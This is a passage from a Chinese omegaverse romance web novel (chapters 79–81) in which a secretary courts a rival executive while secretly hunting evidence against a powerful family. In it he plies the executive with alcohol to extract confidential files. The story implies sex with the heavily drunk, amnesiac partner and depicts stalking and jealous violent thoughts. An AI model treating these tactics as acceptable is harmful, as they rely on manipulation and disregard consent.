祁厌沉默一瞬,靠着路灯,懒散回答:“嗯,他那里肯定有,在这方面,易鸿立不敢骗他,也骗不过他。大概这周就能得到,你等着就行。” “行,你别心软。”张衡一谨慎道,“易家不好搞,尤其是易鸿立。” 他轻轻叹了口气,易鸿立真的太难对付,即使掌握证据,他们也不敢轻举妄动。还得假装到处寻找顾燕行死前留下的证据,借此混淆视听,但继续这样下去,也不是办法。 “我们需要尽快解决这事,除了易鸿立,更麻烦的是沈家,与青那边……” “尽量别让他牵扯太深,最近江家和沈家的合作很关键,万一出意外,江与青很难应付。”祁厌说。 他作为江与青的秘书,在公司观察很久,知道不能让合作出现问题。要不然江与青不仅这段时间白忙活,接下来的日子都得忙到停不下来。 “最麻烦的人,我会想办法支开他。”祁厌轻弹烟灰,低声说道。 张衡一:“……你确定?” “嗯,交给我吧。”祁厌轻笑,他盯着自己戴着黑手套的右手,指间夹着香烟,一缕青烟徐徐升起。 “没有比我更合适的人了。” 他迈开步,远离路灯,朝着自己家走去。这条路的路灯坏了不少,修长的身影慢悠悠走入黑暗,唯有指间微弱的火光,忽明忽暗,烟雾缓缓飘散。 第79章 前世 虚情假意 沈溪流这辈子都没想过自己会给别人做那种事情。 第二天醒来的时候, 整个人呆坐在床上好一会儿,才条件反射地犯恶心,他下床走进洗手间里, 双手用力撑在盥洗台边,指尖紧紧抵着冰冷的边缘。 沈溪流想起昨晚的事情, 缓慢伸手捂住脸, 脱离昨晚失控的状态后,清醒的他难以接受自己做到那种地步。 尤其是他知道祁厌现在根本没把他当回事,否则昨晚就不会那样对待…… 所以祁厌现在到底把他当作什么?随意玩弄的炮.友吗? 沈溪流放下手, 狭长冰冷的眼底汇聚着一抹戾气,就算是侮辱人也要有个度吧? 他不断深呼吸,压下那一抹暴戾, 冷漠精致的面容浮现复杂又危险的神情。 沈溪流讨厌祁厌的肆意妄为, 又恨自己昨晚对他这么言听计从。 不能一直被祁厌牵着走,他得想办法改变这个关系。 …… 项目里还有不少事情需要两方详谈,但今日的进展不是很顺利。 “今晚六点,你有事情吗?” 沈溪流刚从洗手间出来,就听到熟悉的声音在说话,没有第一时间反应过来祁厌是在和他说话。 发现走廊里没有他们以外的人, 沈溪流才意识到祁厌是在和他说话。 “没计划。”沈溪流冷脸回答, 看了祁厌一眼。原本想要无视他, 但还是做不到, 从察觉自己喜欢祁厌以后, 就很难再无视对方。 即使心里生着闷气,也无法无视,多少有些犯贱。 祁厌点头,眼眸带笑地问他:“行, 那到时候不介意一起用餐吧?” “……” 你这种时候出来邀请我,是不是怕我继续为难江……你们? 沈溪流很想讽刺地说这句话,但终究是没有说出口,看着那双熟悉的温柔缱绻桃花眼,沈溪流很难嘲讽,就连原本积攒在心底的怒气也在一点点消散。 “好。”沈溪流矜持地颔首同意,原本萦绕在周身的凌厉气势缓和许多,维持一整天的压迫感不再那么强烈。 他身上细微的变化告诉祁厌,沈溪流现在的心情很不错,一般这种时候去和他说话,不会像平时那样具有强烈的攻击性。 “那现在先回会议室吧。”祁厌的眼帘垂落,遮挡住眼眸,随即面带微笑,轻快地朝他走过去,温和地说道,“谈了这么久,要喝杯咖啡吗?” 沈溪流没有拒绝,反正该说的问题都差不多了,点到为止就好。 等他们再回到会议室,原本还愁眉苦脸的江与青立刻端正姿态,放下重新打满的保温杯,准备继续和刁钻又狠辣的沈溪流方谈下去。 然而,刚才还激烈讨论、剑拔弩张的紧迫氛围荡然无存,沈溪流喝了口咖啡,气势不再咄咄逼人。这次的谈话异常顺利,江与青这边的人,只觉得对面简直就像是换了一批人。 你们刚才明明不是这样言笑晏晏啊?!怎么不继续针锋相对了?! 众人有些不解,但暗自松口气,总归是比继续煎熬下去好多了。 就连结束之后,一向严肃脸的高助理都忍不住说:“没想到居然这么容易搞定,我还以为得谈到晚上……” “可能都是想要下班了吧。”祁厌喝着咖啡说,“不过这次对方也提出需要重视的好问题,我们的确得在这方面加强一下。” 高助理感慨:“确实,对面的负责人真是相当厉害,提出这么多问题,我看江总都紧张地喝光保温杯里的水了。” 还是两大杯! 尽管见惯各种大人物,但今日对面的气势真是相当凌厉,尤其是领头的负责人沈溪流,只是坐在对面,就给人带来一种威慑力。他很少开口,慢条斯理地翻着协议,听着双方讨论,偶尔开口,却言简意赅,正中要害。 “毕竟江总以前是搞艺术的,这么短的时间里能做到这一步就很厉害了。”坐在一边的薄助理也道,“有些问题太刁钻,也只有专业的技术人员能够回答,没想到对方居然了解得这么深入,是我们准备不够充足。” 江总何止紧张到喝两大杯水,私底下搓手好几次,甚至差点要流冷汗…… 祁厌低头看手机说:“喝那么多水,其实也有可能是江总口渴了。”他和江与青的假男友关系,并未传开,知道的人不是很多,身边助理也不清楚。 “祁秘书,你在看什么?”高助理见祁厌在刷手机,有孕妇的图在手机屏幕一闪而过,心生疑惑。 “没什么。”祁厌关掉手机屏幕,“朋友发了条信息过来,说起来,也快到下班时间了。” 他只是随便看一眼怀孕后的相关事项,无论是作为秘书还是朋友,都得多注意江与青的身体状况。 既然和沈溪流约好时间,祁厌就不会像上次那样肆意妄为。 虽然江与青不用他接送,但是祁厌没事情还是会送送,关心独处的孕夫,人人有责。 “感情我家请的佣人都不是人是吧?”下车后,站在外面听到祁厌这样说,江与青翻了个优雅的白眼,“以后司机的工资干脆打给你算了。” 祁厌不介意:“我记好了,下个月的工资记得加上司机的。” “你想得美!”江与青撇嘴,不知道想到什么,他突然莫名其妙说一句:“其实沈……溪流,今天也挺不错。” 祁厌表情不变,微笑提醒他:“确实相当厉害,不过,你别放松警惕。” 不要这么容易被讨好,那是他们的敌人。 沈溪流最擅长给人甜头,如果感激涕零地吃了,这辈子就惨了。 “我知道,只是有些感慨这种人作为敌人,比我家里那些家伙更恐怖,你看他今天指出的那些事情,让我们察觉到了有人……” 在祁厌的注视下,江与青越说越低,最后长叹一口气,振奋起来,单手叉腰问道:“不扯这个了,你要不要进来坐坐?” “不了,我还有事。”祁厌随口拒绝,还得赶时间去找沈溪流,看着江与青转身回去,正要启动车子离开,余光里多了一道漆黑的身影。 他猛然侧头看去,江与青身边凭空多了一个人。 那是无比熟悉的人,盯着慢悠悠走路的江与青,红到发黑的血液沿着惨白的脸侧滚落,好像注意到了祁厌的视线,冰冷粘稠的目光倏地朝他看去! 只是一眼,祁厌如坠冰窟,浑身发寒。 “喂,你怎么还不走?再不走,我要收停车费的。” 恍恍惚惚间,站在门口的江与青拧着眉头,远远地眯着眼看他。 “你那是什么表情?见鬼了啊?” “……”祁厌沉默一瞬,笑着说,“大白天说什么呢,我先走了,明天上班见。” 他说完,就启动车子离开。 说好六点就六点,祁厌一秒不多,一秒不少。地点已经提前发给沈溪流,到的时候,对方先一步抵达。 祁厌没什么神情变化,起初两人之间还有些尴尬,沈溪流不知道该和祁厌说什么。 如果是以前,他压根不会与祁厌一同出去用餐。 就算是在家里,也只喜欢一个人坐在喜欢的位置,看着自己感兴趣的书籍,亦或者做自己喜欢做的事情。 他习惯无视祁厌的存在,而祁厌通常也会配合他,给他提供舒心轻松的环境。 他们两个之间好像没有什么话题,就算是现在见面,也没什么好谈,每次都是一见面就上床,根本聊不了几句话。 但很快祁厌先开口了:“以前都没发现,沈先生你真的很厉害呢。” 他的语气很轻,让沈溪流的表情很冷静,他想起今天在对方公司时的气势,心口微紧,谨慎地开口:“抱歉,今天可能有点……” “诶?为什么要道歉?”祁厌微微眯着眼,脸上带着恰到好处的笑容,“我并不是说假话,你真的很厉害呢。” “如果站在公司方面,我挺感谢你指出这么多需要注意的问题,能避免很多差错。”过去祁厌知道沈溪流厉害,但不知道沈溪流这么厉害。今天坐在会议室里,看着他偶尔一句话,就直击问题核心,轻而易举让他们这边焦头烂额。 祁厌不得不感慨,沈溪流确实有傲慢任性的资本。无论是他背后的沈家,还是他自身的能力,都足以支撑他继续任性妄为下去,也让祁厌清楚地知道,这人比易鸿立更加不好对付…… “是吗,你们那边也挺不错。”沈溪流用手指抵着微微发烫的脸颊,僵硬地回答。 虽然江与青只知道埋头喝水,一问技术方面的问题就战术性咳嗽,没用;技术人员厉害,但沟通能力欠佳,阐述有问题,没展现出优势,废物;助理看着精明,但有些问题没有准备好,不能及时调整,愚蠢…… 但是不能说出来,有人提醒过他,想要得到想要的人,就要委婉一些,不能得罪对方,贬低他身边的人。 而且沈溪流早就知道江与青没用,他做了那么多年的设计师,现在想要和其他江家人争夺权利,试图拿下江家在国内的管理权,即使有江老爷子派来的人帮忙,也是异想天开,真以为其他人都是吃素的吗? 光是这次合作里,某些江家人给江与青暗地里下的绊子,就足够他吃一壶。 沈溪流早就和舅舅聊过,对江与青和他团队的人只有四个字形容:草台班子。 原本有更好的合作者,但沈溪流依然选了江与青。 今天指出问题,沈溪流不仅是为发泄一点闷气,也是给对面指出问题,顺便提醒某些暗中动手脚的人——别想着糊弄他。 希望江与青那个艺术白痴,今天能看明白吧。 愉快的用餐结束后,祁厌陪着沈溪流散步:“沈先生,你想好今晚去哪里吗?” 夜风吹散额发,祁厌微微弯着眼眸,眼型犹如桃花,眼睛的弧度较大,看起来深邃又神秘,眼尾微微上翘,不笑也带着笑意。炫丽的灯光落入祁厌的眼底,好似无数细碎的星辰,瞧着沈溪流的眼神,相当蛊惑人。 被他盯着的沈溪流心跳蓦地漏跳一拍,不自在地撇过脸,语气有些冷硬:“再看吧。” “嗯,也行。”祁厌好脾气地笑笑,“反正你选哪里都行,别太远就好。” 听到这话,沈溪流有些愣神,他想起祁厌给他发的那条信息。 沈溪流垂下眼帘,祁厌明天还要上班,他不喜欢酒店,如果要选个近点的地方,就只有那里了吧? 如果是祁厌的话,去那里倒也没问题…… 他侧眸看着对方,自从那次醉酒之后,他们之间很久没有这样好好相处了,祁厌也没有故意对他说那些话,仿佛关系好像已经回到过去了,祁厌是已经消气了吗? 所以,那晚在酒店的那些报复行为,都已经让他的怒气发泄出来了?祁厌已经打算原谅他过去的那些错误吗? 想到这里,沈溪流感觉到自己的心跳越来越快,连脸颊都忍不住滚烫,眼眶泛起热意。 沈溪流突然变得无比紧张,垂落在身侧的手背不小心碰触到祁厌的手,他的内心产生一种牵上去的冲动,但又犹豫着…… 正好有对情侣从一旁走过,闲聊着说:“上次七夕在星月湾这边放的烟花超漂亮,幸好没有错过!” “你这一说,几天后的节日好像也会放烟花。” “嗯嗯,我也看到通知了,不知道会不会像上次那样华丽,好期待啊!” “那到时候,我们一起过来看?” 星月湾?烟花? 熟悉的词汇唤起沈溪流的记忆,醉酒的那个晚上,他看见祁厌被别人告白,原本就烦躁,又听见他说打算和朋友去看烟花,一气之下就截胡了。 现在想起来,沈溪流知道自己那时就已经喜欢对方了,但不愿意承认…… “沈先生停下来。”正在沉默往前走的沈溪流,突然被祁厌抓住手腕,“继续往前走,可能对一些人不太礼貌了。” 沈溪流还没反应过来,只匆忙一瞥,就被祁厌拽着往回走,但那一瞥就让他惊愕住了。 有时候视力太好并不是一件好事,随便一眼都能看见有些人在角落里做…… 沈溪流好不容易冷下去的脸颊开始升温,如果只是他自己看见,估计会一脸冷漠地忽略掉,根本不放在眼里,但是和祁厌一起看见,又被他紧紧攥着手腕…… 很难不紧张。 “沈先生,这个时间点,我们差不多可以回去了。”祁厌看了眼时间,没有听见沈溪流回答,垂眸看他一眼,注意到他向来白皙的脸颊泛红,微一挑眉,低头凑到他面前,“沈先生?” “嗯?” 走神的沈溪流一抬眼就对上祁厌带笑的眼眸,难得出现一丝惊惶,下意识地往后退了一步,撞到边缘的石雕护栏,迟迟不敢直视他。 “沈先生?”祁厌还是第一次看到他露出这副样子,有些诧异。 祁厌微微眯了眯眼,嘴角慢慢扬起,反而更进一步地凑近他,声音里夹杂着一丝笑意:“沈先生,你该不会是……害羞了吧?” “没……没有。”沈溪流低声道。 “那为什么不敢抬起脸和我对视呢?”祁厌笑吟吟问道,修长的手指从沈溪流的脸颊划过,将他被夜风吹得凌乱的碎发理好,动作轻柔又暧昧。 “不……”沈溪流有些宕机了,他的呼吸瞬间变得急促起来,目光不受控制地抬起,落在祁厌的脸上。 不受控制的心脏跳得越来越快,耳朵比以往更加敏锐,沈溪流清楚地听见自己的心跳声和风的声音,眼睛也只能看得见面前的人。 “要接吻吗?” 祁厌面带微笑地问他,那双桃花眼无比深情,只容得下他,温柔的指尖轻轻碰触着他的脸颊。 沈溪流的大脑一片空白,说不出话,浑身僵硬,他再也无法掩饰自己对祁厌的心动,也没有注意到内心深处的不安警报声…… 沈溪流看着祁厌微微前倾,嘴角噙着一抹浅笑,缓慢地拉近他们之间的距离。这一刻世界仿佛静止了,所有喧嚣的声音都消失在耳畔,爱意在心间疯狂滋生。 他只能感觉到祁厌的气息越来越近,暧昧的气息弥漫在空气中,沈溪流连呼吸都停止了,仿佛无比期待祁厌吻下来。 可是当鼻尖轻触时,即将碰触到的嘴唇却徒然分开,祁厌往后退开几步,彻底拉开暧昧肆意的距离。 “开玩笑的,接吻这种事情,还是要和喜欢的人才好。” 祁厌用眼眸温柔又深情盯着他,轻笑说道:“沈先生,你的戒备心,比以前更弱了。这不是一件好事。” 沈溪流看着他,僵硬在原地,仿佛还没有回过神来。 祁厌又看了一眼时间:“八点太晚了,我们该回去了,走吧。” 他朝着沈溪流伸出手,这个动作微微唤醒了他。 沈溪流喉咙有些发紧,原本冰冷的温度好像在上涨,他牵住了祁厌的左手,非常温暖,比他的手指暖和多了,怅然若失的情绪淡去一点。 沈溪流依然忍不住,低声问:“你刚才……” 才刚说出来三个字,他就停顿住,换了另外一句话。 “祁厌,你喜欢烟花吧?” 并不喜欢,转瞬即逝的事物没什么意思,甚至有些无聊。 祁厌看了他一眼,微笑道:“喜欢,沈先生这是记得我以前说过的话吗?” 一句谎话而已。 当时不过是故意逗弄沈溪流,想要看看他会不会阻止自己陪别人,如果阻止的话,多少对他有那么一点喜欢吧? 事实证明他想太多,身为替身少点戏比较好。 “那几天后,我们一起来看烟花,可以吗?”沈溪流有些紧张,又带着一点期待地开口。 祁厌说:“可以,如果那天没有什么重要事情的话。” 他的声音很温和,完全听不出走神。 祁厌在思考,不知道沈溪流今晚会选择去哪个房子,会是他专门放资料的那个房子吗?按照现在的距离来说,可能性很大。 如果是,要怎么从大量资料里找到目标?沈溪流的资料放得很随意,他自己能精准找到,别人却没有他那样的大脑,能从资料海洋中找到那一份资料。 余光里的人,心情好像不错,祁厌戴着黑手套的右手轻轻摩挲着,虽然左手在牵着沈溪流,但他并没有任何感觉。 只是突然想起一件事情,沈溪流的酒量并不好,根据上次的经验来看,醉酒后的事情,他根本记不住。 这或许是一个机会…… 第80章 前世 醉酒 沈溪流感觉他和祁厌间的关系好像回到过去, 先前的矛盾好像已经解决了。 这本该是一件值得人高兴的事情,但是沈溪流始终惴惴不安,有种说不出的怪异感。 “沈先生, 要一起喝几杯吗?”祁厌下班的时候,带着几瓶酒来找沈溪流, 脸上带着温柔的笑意, “我朋友送的。” 一看到他脸上的笑容,本不想喝酒的沈溪流迟疑一瞬,就点头同意了, 就连刚才察觉到的怪异感也抛之脑后。 祁厌如果想要讨好一个人,对方几乎难以拒绝,更别说已经发现自己心意的沈溪流, 他的酒量不好, 一边和祁厌说话,一边喝着酒,很难喝,但一看到对方的表情,就下意识地跟着喝了。 “祁厌……”手里的酒杯里酒液摇曳,泛着迷人的光, 他舔了舔唇, 视线落在祁厌戴着手套的右手, 近乎小心翼翼地问, “你上次调的那杯酒……” “莫吉托。” 祁厌微笑着回答他, 指尖轻点着下巴,状似回忆地说:“是一款挺清爽的酒,应该会很符合你的口味吧。不过现在想来,依然欠你一句抱歉, 趁着你喝醉,问了你的信息素,还特意去定制酒杯,现在想来这种行为太过冒昧,好在你没有计较我违反合同规定的行为,谢谢。” 面对他的笑容,沈溪流手指微紧,心脏好像被人用手攥着,几乎难以呼吸,甚至不敢直视祁厌。 “没有,应该是我欠你一句抱歉才对……”用那种恶劣的姿态斥责你,还把酒泼到你的脸上,弄坏了你定制的酒杯。 沈溪流从来没想过自己会后悔,当初的确生气,但后面却经常想起来,祁厌为什么要给他调酒? 沈溪流的心脏不受控制地一跳,而且还是特制的酒杯,那是不是代表祁厌当时多少有那么一点喜欢他呢? 有些紧张,沈溪流下意识地喝着酒,想要借此缓解自己的情绪,一杯喝完,祁厌顺手给他又倒了一杯,沈溪流目光落在他的右手上,跟随着手掌而移动。 “祁厌,你以后可以给我再调一杯吗?”沈溪流觉得自己好不要脸,但情绪催促他问出来了。 这话惹得祁厌一怔,随即莞尔一笑:“可以,如果我的手能恢复的话。” 沈溪流抿着唇,有些无措地说:“可以的,一定、可以的……” 他有些心绪不宁,祁厌注意到了,便转换话题,时不时给沈溪流倒酒,酒量本就不是很好的人,很快就彻底喝醉。 这次甚至比上次还要醉,醉意熏陶之下,沈溪流半眯着眼,满脸酡红地靠在祁厌怀里,好像已经变得意识不清。 “沈溪流?”祁厌低声唤他。 沈溪流微微歪头,朦胧地望着他:“嗯?” “能回答我一些问题吗?”祁厌笑得很蛊惑人。 “……可以,你想问什么?无论你问什么,我都会回答你。” 沈溪流的反应很慢,迷离的眼眸始终落在祁厌的脸上,无意识地伸手去碰触他,从脸部轮廓到线条优美的嘴唇,又到高挺的鼻梁,一点点碰触到眼睛,让祁厌下意识地闭上眼睛。 他的眉头微皱,果然沈溪流的本能还是讨厌他的眼睛吗? 算了,无所谓。先问出想要的问题吧,一个个慢慢来,免得引起沈溪流的怀疑。 祁厌很谨慎,他找了很多无关的话题,循序渐进,见沈溪流都一一回答后,才缓慢地询问出最关键的问题,然后就见一脸醉意的沈溪流蹙着眉头愣住了。 “……” 还是不行吗?祁厌有些遗憾,沈溪流即使喝醉了,依然对易家的事情有所戒备? 然而,下一秒就见沈溪流回过神,从他身上下来,牵着他的手,反应缓慢地说:“你……跟我过来。” 喝醉的人有些站不稳,身体摇摇晃晃的,如果不是祁厌扶住他,沈溪流已经差点摔倒。他走路带飘地带着祁厌走到那间关键的房间里,门外有密码,沈溪流弯腰,眯着眼输入密码,带祁厌进去。 这是一个很宽敞的房间,摆放着无数柜子,里面乱七八糟地堆放着资料,一旁的办公桌也叠着一沓又一沓资料。地面纸张也丢得到处都是,祁厌看了一眼脚边的纸,上面写着看不懂的关键数据…… 沈溪流无所谓地走进去,随便打开一个柜子,蹲下身眯着眼翻了翻,找到一个文件夹。 祁厌刚从满地的资料走进去,就见沈溪流转过身来,伸手递给他,一向清冷傲慢的面容,难得带着一抹纯粹的笑容:“喏,你要的东西。” “……” 祁厌盯着他,迟疑一瞬,他便回过神来,伸出手接过文件。 “谢谢。”祁厌由衷地说。 然后,他就看见了沈溪流的眼眸比以往更亮。 沈溪流没忍住走过去,扑进祁厌的怀里,紧紧搂着他,小声又讨好地说:“你想要什么,我都可以给你,只要别……离开我,也别像之前那样说话,好不好?” “先出去吧。” 祁厌摸着自己的脸,平静地说。 …… 醒来的时候,沈溪流浑身难受不说,还头疼欲裂,差点没爬起来,一脸茫然地躺在床上,好半晌才听到敲门声。 “抱歉,昨晚让你喝了这么多酒,头还疼吗?”祁厌端了一碗醒酒汤,愧疚地说道。 沈溪流慢一拍地反应过来,昨晚他喝酒了。 “昨晚有发生什么事情吗?”沈溪流接过醒酒汤,大脑空荡荡,完全没有记住昨晚发生的事情。 “没有。”祁厌笑笑,委婉地说,“不过你今天最好休息一下。” 祁厌还要上班,不能多陪他,和沈溪流说了一声后,就先离开。 沈溪流躺在床上想了一会儿,还没反应过来祁厌刚才说的话。 等他下床的时候,感觉到有什么冰凉的液体顺着大腿内侧往下流淌时,立刻就知道为什么祁厌会说那种话了。 沈溪流的脸颊忍不住发烫,他们没在这边准备那种东西,昨晚喝醉后,应该是做了吧? 而且还和上次在酒店一样,没用套…… 沈溪流连忙进入浴室清洗,好久之后才出来,看到地面上残留的痕迹,整个人都陷入沉默。等出了房间后,走到客厅,祁厌已经打扫干净,没有留下任何痕迹,但他注意到那张桌子好像移位了。 人懵了一瞬,尽管什么都想不起来,沈溪流一观察现场,就能想象得到那个画面:他趴在桌面上,祁厌从后面…… 沈溪流花了很长时间才静下心来思考,有一个问题再也无法忽视,那就是——祁厌的信息素是什么? 明明不管是那次,还是这次,他们都没有戴套,为什么他丝毫感觉不到祁厌的信息素? 不应该的,性.行为是信息素交流的最大途径,他不应该一点都感觉不到啊?难道是祁厌做了什么吗? 无端的有些心慌意乱,沈溪流无法违背自己身为omega的本能,他在渴求喜欢的alpha的信息素,过去最厌恶的想法,现在却逼着他恐慌,逼着他渴望…… 如果不是这两次都没有进入生殖腔,沈溪流早就被祁厌彻底标记了。 现在沈溪流却无心这个问题,假性标记不像以往能够安抚躁动的omega本能,反而将他推上死路。 沈溪流知道,但他早已不在乎了。 就算祁厌将他永久标记,沈溪流也不会生气。 “烟花……还有两天……” 沈溪流找到沙发缝里的手机,看了一眼日历。 就剩两天了。沈溪流的表情和以往没有什么区别,冰冷的眼眸却流露出一抹期待。 …… 薄助理刚从江与青的办公室里出来,就发现了不对。 “江总最近的心情好像不太好。” 江与青一向是个情绪积极的人,这几天却经常表现得有些焦虑、烦躁,虽然很快就调节好,但经常跟在他身边的助理注意到了。 高助理说:“可能是技术部门那边的问题有点麻烦吧。” 上次沈溪流指出来以后,他们就发现江与青的某位堂叔动了不少手脚。 “毕竟是豪门世家……”薄助理感慨说,豪门纷争就在眼前,他们却是一条绳子上的蚂蚱,希望江总能够处理好这些事情。 祁厌坐在一旁听着,并没有发言。这里面的问题不是很大,江与青知道后,就已经很快地找到处理方式了。 江与青最近的情绪焦虑,其实是生理和心理因素,因为怀孕而导致体内激素产生变化,情绪波动受到影响,甚至出现一些早孕反应,中午吃午餐时,开始犯恶心,差点呕吐,而且还特别容易走神…… 或许,他应该把那一盒情书先还给江与青了,但是这样会不会导致他的情绪更加不稳定? “医生来看过情况吗?” 下班以后,因为有事情,祁厌送江与青回家,顺便询问他最近的身体状况。 “来看过了,一切都很正常。孕期反应其实也不是很大,我只能先保佑保佑自己,希望这个小崽子乖点,别瞎折腾,要不然等生出来,非得揍一顿。” 因为已经有些显怀,所以他最近穿得比较宽松,避免被人察觉到。 进入江与青的别墅,张衡一已经提前抵达,正在客厅喝茶,看到他们进来,就道:“东西我都已经准备好了,先谈谈吗?” “去书房谈吧。”家里佣人有不少,江与青示意他们都跟着进入书房再说。 他们谈得比较晚,祁厌和张衡一在他家里用完餐才离开。 “你打算什么时候把沈溪流支开?”张衡一开口问道。 “不用担心,再过几天,到时候我会出国去检查手伤情况。”祁厌表情平静。 “行。”说完这话,车里沉默半晌,张衡一开口问道,“江与青是不是怀孕了?” 祁厌有些意外地瞥他一眼:“你是怎么发现的?” “刚才看见他下意识护着肚子的动作,原本不是很确定,但听你这话,就确定了。” 祁厌:“原来如此,这件事别让其他人知道。” 张衡一点头。 “……你说我要不要把那一盒情书还给他?”祁厌有些迟疑。 张衡一道:“孕夫不宜大喜大悲,不过我觉得可以,今天你应该也注意到了吧?” 江与青的书房里放了很多顾燕行以前送的东西,他们看着有些奇怪,就听见他笑嘻嘻地说是某个没品的人送的,语气有些嫌弃,却难掩怀念地告诉他们,所有东西他都仔细保存了,但根本没有多少能作为纪念,甚至连照片都只有一张,还是误入别人镜头留下的…… “如果你要归还的话,记得选个好时间。” “我会考虑的。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第81章 前世 焦虑 “抱歉, 那天晚上我有事情,下次有机会再去吧。” 祁厌挂断电话以后,将家里的东西都收拾好才出门。 今天过节, 徐哥考虑到大家辛苦很长一段时间,所以选择休业几天让众人休息一下, 顺便一起聚餐放松。 祁厌到的时候, 还听到他们在讨论徐哥抠门,原本说好的位置,结果居然没有订下来。徐哥听到以后, 说:“我能有什么办法,那家餐厅都被人包了,再有钱也订不, 只能换一家了, 再嫌我抠门,小心我带你们去喝西北风。” “嘿嘿,没说您抠门呢,就是感叹几句今天的位置难定。” “毕竟星月湾又要放烟花,附近的好位置都被抢了。” “对啊,听说今晚好多店都涨价了, 特别难预定。” “看来我们只有在外面看了, 不过夜里吹风好冷的说。” 听到众人七嘴八舌地讨论着, 坐在乐队团里的一名少年引来祁厌的注意, 对方看他一眼, 微微一笑,没有说什么话。 “那是他们乐队主唱新捡到的贝斯手,好像是叫做游弋。”徐浪浪见他多看一眼,顺嘴给祁厌说, “你先前不也看见他们在舞台上唱跳吗?卸妆以后,看着还挺清新的小孩,也不知道为什么打扮成那副鬼样子。” “这样啊。”祁厌笑笑,没说什么,和游弋互相假装不认识。等江与青也过来玩的时候,对方明显也注意到了沈家的少爷,低声提醒一句。 “难怪我最近听到一些风声,听说他离家出走了……”江与青低声说一句,“那我们得装好一点,免得被他看穿,沈家这小孩可精了。” 祁厌点头,江与青之前在酒吧玩了一段时间,花钱相当爽快,又和祁厌是朋友,酒吧的人对他都挺熟悉。现在再出现,他非常爽朗地说自己和祁厌是恋人关系,把其他人吓了一跳,就连游弋都看了他们好几眼。 祁厌没有表露异色,看似做足男友的细心姿态,实则是关心孕夫身体状况。游弋喝着主唱递过来的牛奶,听他说小孩别喝酒,却有些心不在焉。 他对江家的情况了解不多,大多是听家里其他人说,知道沈溪流对江与青有恋人这件事情嗤之以鼻,但真的是假的吗? 一个alpha对一个omega这么细心温柔,连他喜欢吃什么都清清楚楚,还给他夹菜,挡酒,真的没什么关系吗? 游弋不信。 等众人吃完晚饭,快到放烟花的时间点,星月湾已经挤满了人。他们过去的时候,游弋甚至注意到祁厌的注意力都放在江与青身上,时刻注意着江与青有没有被人碰撞,还伸出手护住他…… 啧,游弋偷偷拍了一张照片,本想发给沈溪流,但看着这张照片有些错位,好像祁厌搂着江与青一样,正准备退出重拍时—— “你在做什么?” 主唱的声音突然在耳边响起,游弋手一抖,按了发送。 他下意识收好手机,没让对方看见他偷拍别人:“没什么,烟花好吵。” 正好“砰!”的一声巨响,巨大绚丽的烟花在空中炸开,好似光雨倾洒,无比绮丽而梦幻,将漆黑的夜空染成一幅绝美惊艳人心的画卷。 “啥?你说什么?”主唱没听到游弋说话,把耳朵凑过去。 “没事!”游弋放大声音吼,烟花砰砰响个不停,真的好吵。他半天才找到机会,想要撤回那张照片,结果已经错过撤回时间,只能补充一句,那是错位的。 不过解释和没解释根本没区别吧,毕竟祁厌和江与青确实是恋人。 游弋收好手机,不知道沈溪流在想什么。应该会放弃吧,毕竟他的性子这么高傲,不可能做出抢别人男朋友的举动。 “……” 外面的烟花声音响彻,但沈溪流好像没有听见。他坐在最佳赏烟花的好位置,死死盯着餐桌上的手机,看着那张照片,一动不动。 餐厅里一片死寂,服务员没有发出声音,唯有外面传来喧哗吵闹声。 妒火在身体里疯狂叫嚣着,心脏仿佛被巨锤撞击过,疼得他浑身颤抖。沈溪流用力咬着下唇,已经能尝到血腥的味道,指甲也深深嵌入掌心。 他恨不得现在就冲过去质问,却又无法动弹,双腿被钉在地上。 所以,这就是祁厌的事情吗? 因为要陪江与青来看烟花,所以拒绝了他。 愤怒几乎要突破理智的防线,这算什么啊?祁厌这段时间对他做的事情,只是单纯的治疗过程吗? 沈溪流觉得好讽刺,疼得连呼吸都忘记了,等他回过神来,感到脸颊带着湿意,他伸手碰了一下,冰冷的泪水沾到指尖。 真恶心。 沈溪流冷漠地抽了张纸巾,擦干净,直接站起身,离开这里。 根据游弋拍的照片找到祁厌和江与青,沈溪流没有过去,只是冷漠地看着。看着他们说说笑笑地欣赏完烟花,就和其他人告别,上了车,好像准备回家。 沈溪流一直跟在后面,车子来到一栋普通的公寓大楼。祁厌低着头,用前所未有的认真表情看着江与青。 不知道他和江与青说了什么,对方有些惊喜地跟着他进入楼里。 沈溪流知道祁厌住在四楼,精准找到他的家,阴鸷冰冷的视线看着窗户的灯亮起。沈溪流啃咬着指甲,第一次焦虑到快要失去自我控制能力,车里的呼吸声很重很乱,就和他的心情一样,连大脑都是眩晕又诡异般冷静。 好在四十分钟后,江与青下楼了。 沈溪流这才克制住自己逐渐失去控制的疯狂想法,没有做出不可挽回的事情。 但四十分钟的时间,他们会不会做什么呢? 沈溪流垂着眼帘,眼底尽是阴森的寒意,他没有任由思绪扩散,免得多想一分,就想让江与青彻底消失在这个世上。 祁厌是属于他的,是他一个人的,不管是谁都不可以碰! …… 翌日,祁厌向沈溪流说了声抱歉,昨晚另外有事情,没能陪他一起。 “为什么要道歉?” 沈溪流的表情很平静,看不出有任何异色:“你上次又没有直接答应我,算不得失约。先不说这个问题,今晚可以陪我吗?” 祁厌点头说:“当然没问题,你最近的身体怎么样?” 他们这段时间做了不少次,但沈溪流的气色并没有好转,今天甚至比前两天更加苍白,连唇色都更浅,左眼下的三颗泪痣越发晃眼,给人一种病态般的脆弱感。 沈溪流垂着眼帘,嘴角牵着一抹很浅的笑容:“好很多了,你不用担心。” “那就好。”祁厌笑笑,没有在这方面过多询问,他依然表现得很温柔,沈溪流前不久也觉得和当初没差别,但其实……完全不一样。 眼睫毛轻轻颤抖着,沈溪流的手指慢慢收紧。 为什么他到现在才发现呢? 如果是以前的祁厌,即使听到他说没问题,也会让他把检查单拿出来看一眼。 研究所出的报告数据很复杂,祁厌有时候还会烦人地问他某些数据怎么看。沈溪流那时候有些不耐烦,让他自己滚去拿手机自己查,祁厌就会笑着说一句:“别这么凶嘛,我也是关心你的身体情况。” 沈溪流往往嗤之以鼻:“你关心的是你的钱什么时候打过去吧。” “也算吧。”祁厌总是一副笑眯眯的样子,让人看不惯。沈溪流不喜欢这种人,大多时候懒得理会,偶尔心情好了,才会给他解释这么一两句。 但这次重新开始后,无论是关系最糟糕的那段时间,还是“和好”以后,祁厌一次都没有看过他的检查单,也没有询问过一句。 一切温柔仿佛都是假象而已,沈溪流难得有些沉默。他带着祁厌回家,最近做过的检查都放在桌上,但对方也只是瞥了一眼,就不再关心。 他们从客厅就开始做,祁厌比起最开始时,更加温柔,也更加恶趣味。 